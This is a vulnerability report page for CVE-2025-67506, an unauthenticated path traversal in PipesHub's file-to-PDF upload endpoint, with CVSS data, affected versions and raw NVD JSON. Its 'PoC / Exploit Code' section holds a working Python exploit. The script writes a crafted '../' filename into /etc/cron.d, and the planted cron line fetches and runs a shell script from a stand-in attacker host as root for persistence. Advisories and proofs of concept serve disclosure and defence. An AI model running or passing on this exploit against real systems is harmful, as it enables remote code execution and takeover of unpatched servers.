Security Vulnerability Report
中文
CVE-2025-67506 CVSS 9.8 CRITICAL

CVE-2025-67506

Published: 2025-12-10 01:15:52
Last Modified: 2026-03-17 20:31:15

Description

PipesHub is a fully extensible workplace AI platform for enterprise search and workflow automation. Versions prior to 0.1.0-beta expose POST /api/v1/record/buffer/convert through missing authentication. The endpoint accepts a file upload and converts it to PDF via LibreOffice by uploading payload to os.path.join(tmpdir, file.filename) without normalizing the filename. An attacker can submit a crafted filename containing ../ sequences to write arbitrary files anywhere the service account has permission, enabling remote file overwrite or planting malicious code. This issue is fixed in version 0.1.0-beta.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:pipeshub:pipeshub:0.1.0:alpha:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:pipeshub:pipeshub:0.1.2:alpha:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:pipeshub:pipeshub:0.1.3:alpha:*:*:*:*:*:* - VULNERABLE
PipesHub < 0.1.0-beta

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-67506 PoC - Path Traversal in PipesHub file upload # Affected: PipesHub < 0.1.0-beta def exploit(target_url, filename_payload, file_content): """ Exploit path traversal vulnerability in PipesHub file upload endpoint Args: target_url: Target base URL (e.g., http://target.com) filename_payload: Malicious filename with path traversal (e.g., ../../../etc/cron.d/backdoor) file_content: Content to write to the arbitrary location """ endpoint = f"{target_url}/api/v1/record/buffer/convert" files = { 'file': (filename_payload, file_content, 'application/octet-stream') } try: print(f"[*] Sending malicious request to {endpoint}") print(f"[*] Filename payload: {filename_payload}") response = requests.post(endpoint, files=files, timeout=30) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Body: {response.text[:500]}") if response.status_code == 200: print("[+] File upload successful - path traversal worked!") return True else: print("[-] Exploit failed - check target or payload") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://vulnerable-server.com") sys.exit(1) target = sys.argv[1] # Example: Write to /etc/cron.d for reverse shell persistence malicious_filename = "../../../etc/cron.d/pwned" malicious_content = "* * * * * root wget http://attacker.com/shell.sh | bash\n" exploit(target, malicious_filename, malicious_content)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67506", "sourceIdentifier": "[email protected]", "published": "2025-12-10T01:15:52.293", "lastModified": "2026-03-17T20:31:15.077", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PipesHub is a fully extensible workplace AI platform for enterprise search and workflow automation. Versions prior to 0.1.0-beta expose POST /api/v1/record/buffer/convert through missing authentication. The endpoint accepts a file upload and converts it to PDF via LibreOffice by uploading payload to os.path.join(tmpdir, file.filename) without normalizing the filename. An attacker can submit a crafted filename containing ../ sequences to write arbitrary files anywhere the service account has permission, enabling remote file overwrite or planting malicious code. This issue is fixed in version 0.1.0-beta."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}, {"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pipeshub:pipeshub:0.1.0:alpha:*:*:*:*:*:*", "matchCriteriaId": "5A07F639-FA84-4DAF-9A13-2FAE5C65D278"}, {"vulnerable": true, "criteria": "cpe:2.3:a:pipeshub:pipeshub:0.1.2:alpha:*:*:*:*:*:*", "matchCriteriaId": "B1F6F466-060C-40E7-8C08-FC24AFD5B414"}, {"vulnerable": true, "criteria": "cpe:2.3:a:pipeshub:pipeshub:0.1.3:alpha:*:*:*:*:*:*", "matchCriteriaId": "08ACD5AF-C981-4D3D-9923-84B8BE6AE495"}]}]}], "references": [{"url": "https://github.com/pipeshub-ai/pipeshub-ai/commit/987ebab40a1fc39956730ed93220f7f9b2c4e5f8", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/pipeshub-ai/pipeshub-ai/security/advisories/GHSA-w398-9m55-2357", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}